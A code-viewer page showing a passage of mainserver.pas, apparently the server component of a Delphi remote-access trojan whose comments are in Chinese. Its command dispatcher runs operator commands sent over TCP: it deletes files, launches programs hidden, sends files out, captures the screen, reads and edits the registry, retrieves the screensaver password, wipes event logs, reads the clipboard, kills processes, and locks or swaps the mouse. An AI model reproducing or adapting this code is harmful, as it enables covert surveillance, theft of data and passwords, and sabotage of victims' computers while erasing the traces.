?? mainserver.pas
字號:
end;
Mycopyfile(Path2,Path1);
end;
end;
except
end;
end;
Request:='003';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='004' then {停止捕獲}
begin
try
if ScreenOver then ScreenCapture.Terminate;
if ScrConOver then ScrControl.Terminate;
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='005' then {刪除文件或文件夾}
begin
try
for i:=StrTmpList.Count-1 downto 2 do
begin
try
if Copy(StrTmpList[i],length(StrTmpList[i]),1)='\' then
begin
if DirectoryExists(StrTmpList[i]) then
DoRemoveDir(StrTmpList[i]);
end
else begin
if FIleExists(StrTmpList[i]) then
begin
FilesetAttr(StrTmpList[i],0);
DeleteFile(StrTmpList[i]);
end;
end;
except
end;
end;
Request:='003';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='007' then {重命名}
begin
try
Path1:=StrTmpList[2];
Path2:=StrTmpList[3];
try
Renamefile(Path1,Path2);
except
end;
Request:='003';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='008' then {新建文件夾}
begin
try
Temp:=StrTmpList[2];
i:=0;
while DirectoryExists(Temp) do
begin
inc(i);
Temp := GetFilepath(StrTmpList[2])+ GetFileName(StrTmpList[2])+ '(' + inttoStr(i) + ')';
end;
CreateDir(Temp);
Request:='003';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='009' then {新建文件}
begin
try
Temp:=StrTmpList[2];
i:=0;
while FileExists(Temp) do
begin
inc(i);
Temp := GetFilepath(StrTmpList[2])+ '新建(' + inttoStr(i) + ')'+ GetFileName(StrTmpList[2]);
end;
try
RsFileS :=TFileStream.Create(Temp,fmCreate or fmShareDenyNone);
RsFiles.Free;
except
end;
Request:='003';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='010' then {遠(yuǎn)程運(yùn)行文件}
begin
try
try
Path1:=StrTmpList[3];
Path2:=StrTmpList[4];
case Strtoint(StrTmpList[2]) of
0:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_NORMAL);
1:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_HIDE);
2:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_MAXIMIZE);
3:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_MINIMIZE);
end;
Temp:=EncodeBase64('Cmd001'); //遠(yuǎn)程打開成功.
except
Temp:=EncodeBase64('Cmd002'); //遠(yuǎn)程打開失敗.
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
IdTCPClient1.Write(Temp+EOL);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='011' then {下載文件}
begin
try
DownLoadThread:=TDownLoadThread.Create;
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='012' then {本地打開文件}
begin
try
Request:='017';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
AssignFile(FromF,StrTmpList[2]);
FileMode:=0;
Reset(FromF);
Seek(FromF,0);
IdTCPClient1.WriteInteger(FileSize(FromF));
repeat
try
IdTCPClient1.OpenWriteBuffer;
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
IdTCPClient1.WriteBuffer(Buf,NumRead);
IdTCPClient1.CloseWriteBuffer;
except
CloseFile(FromF);
Exit;
end;
until (NumRead = 0);
CloseFile(FromF);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='013' then {捕獲屏幕}
begin
try
if ScreenOver then ScreenCapture.Terminate;
ScreenCapture:=TScreenCaptureThread.Create;
if ScrConOver then ScrControl.Terminate;
ScrControl:=TScrControlThread.Create;
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='014' then {讀取注冊表根鍵}
begin
try
TheKeyNames := TStringList.Create;
TempList:= TStringList.Create;
Path1:=StrTmpList[2];
Reg := TRegistry.Create;
try
if Path1 = 'HKEY_CLASSES_ROOT' then Reg.RootKey := HKEY_CLASSES_ROOT;
if Path1 = 'HKEY_CURRENT_USER' then Reg.RootKey := HKEY_CURRENT_USER;
if Path1 = 'HKEY_LOCAL_MACHINE' then Reg.RootKey := HKEY_LOCAL_MACHINE;
if Path1 = 'HKEY_USERS' then Reg.RootKey := HKEY_USERS;
if Path1 = 'HKEY_CURRENT_CONFIG' then Reg.RootKey := HKEY_CURRENT_CONFIG;
if Path1 = 'HKEY_DYN_DATA' then Reg.RootKey := HKEY_DYN_DATA;
Path2:='';
if Reg.OpenKey(StrTmpList[3], False) then //打開鍵
begin
Reg.GetKeyNames(TheKeyNames); //讀取鍵名列表
for i := 0 to TheKeyNames.Count - 1 do
begin
TempList.add(TheKeyNames[i]);
end;
Path2:=TempList.Text;
end;
Reg.CloseKey;
finally
Reg.Free;
end;
except
end;
if Path2='' then Path2:='<|000|>';
SendStreamToClient(IdTCPClient1,'005',Path2);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='015' then {讀取注冊表鍵值}
begin
Request:=Reg_value(StrTmpList);
SendStreamToClient(IdTCPClient1,'006',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='016' then begin {修改建值}
try
Editregvalue(StrTmpList);
Request:=Reg_value(StrTmpList);
SendStreamToClient(IdTCPClient1,'006',Request);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='017' then begin {刪除建值}
try
Deleteregvalue(StrTmpList);
Request:=Reg_value(StrTmpList);
SendStreamToClient(IdTCPClient1,'006',Request);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='018' then begin {鍵名重命名}
try
Editregvalue(StrTmpList);
Request:=Reg_value(StrTmpList);
SendStreamToClient(IdTCPClient1,'006',Request);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='019' then begin {新建注冊表鍵名}
try
Newregvalue(StrTmpList);
Request:=Reg_value(StrTmpList);
SendStreamToClient(IdTCPClient1,'006',Request);
except
end;
Exit;
end;
{------------------------------------}
if StrTmpList[1]='020' then begin {刪除注冊表主建}
try
Deleteregkey(StrTmpList);
Request:=Reg_value(StrTmpList);
SendStreamToClient(IdTCPClient1,'006',Request);
except
end;
Exit;
end;
{----------------------------------}
if StrTmpList[1]='021' then
begin {系統(tǒng)信息}
Request:=SystemXingxi;
SendStreamToClient(IdTCPClient1,'007',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='024' then
begin {屏幕保護(hù)密碼}
Request:=GetPassword+#13#10;
SendStreamToClient(IdTCPClient1,'007',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='025' then
begin {清除日志文件}
try
if WinisNT then
begin
Request:='Cmd003'; //清除日志完成!
ClsLog:=TCleanerLogThread.Create();
end else
Request:='Cmd004'; //非服務(wù)器主機(jī),沒有日志!
except
end;
SendStreamToClient(IdTCPClient1,'004',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='026' then
begin {剪切板的內(nèi)容}
Request:=Clip_Text;
SendStreamToClient(IdTCPClient1,'008',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='027' then begin {進(jìn)程內(nèi)容}
Request:=Savenowtask;
SendStreamToClient(IdTCPClient1,'009',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='028' then begin {終止進(jìn)程}
try
EnableDebugPrivilege;
H:=OpenProcess(Process_All_Access, True,ThreadID[Strtoint(StrTmpList[2])]);
GetExitCodeProcess(H,II);
TerminateProcess(H,II);
except
end;
Sleep(300);
Request:=Savenowtask;
SendStreamToClient(IdTCPClient1,'009',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='029' then
begin {搜索所有窗口}
Request:=Searchallwindow;
SendStreamToClient(IdTCPClient1,'010',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='030' then begin {關(guān)閉窗口}
try
SendMessage(allhwnd[Strtoint(StrTmpList[2])],WM_Close,0,0);
except
end;
Request:=Searchallwindow;
SendStreamToClient(IdTCPClient1,'010',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='031' then begin {隱藏窗口}
try
Showwindow(allhwnd[strtoint(StrTmpList[2])],SW_Hide);
except
end;
Request:=Searchallwindow;
SendStreamToClient(IdTCPClient1,'010',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='032' then begin {顯示窗口}
try
Showwindow(allhwnd[strtoint(StrTmpList[2])],SW_Show);
except
end;
Request:=Searchallwindow;
SendStreamToClient(IdTCPClient1,'010',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='033' then begin {禁用窗口}
try
EnableWindow(allhwnd[strtoint(StrTmpList[2])],False);
except
end;
Request:=Searchallwindow;
SendStreamToClient(IdTCPClient1,'010',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='034' then begin {恢復(fù)窗口}
try
EnableWindow(allhwnd[strtoint(StrTmpList[2])],True);
except
end;
Request:=Searchallwindow;
SendStreamToClient(IdTCPClient1,'010',Request);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='035' then begin {鎖定鼠標(biāo)}
lockmouse(true);
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64('Cmd005'); //鼠標(biāo)鎖定成功!
IdTCPClient1.Write(Request+EOL);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='036' then begin {鼠標(biāo)解鎖}
lockmouse(False);
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64('Cmd006'); //鼠標(biāo)解鎖成功!
IdTCPClient1.Write(Request+EOL);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='037' then
begin {鼠標(biāo)左右鍵交換}
try
SwapMouseButton(true);
except
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64('Cmd007'); //鼠標(biāo)左右鍵交換成功!
IdTCPClient1.Write(Request+EOL);
Exit;
end;
{------------------------------------}
if StrTmpList[1]='038' then
begin {恢復(fù)鼠標(biāo)左右鍵交換}
try
SwapMouseButton(False);
except
end;
Request:='004';
Request:=EncodeBase64(Request);
IdTCPClient1.Write(Request+EOL);
Request:=EncodeBase64('Cmd008'); //恢復(fù)鼠標(biāo)左右鍵交換成功!
IdTCPClient1.Write(Request+EOL);
Exit;
e
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -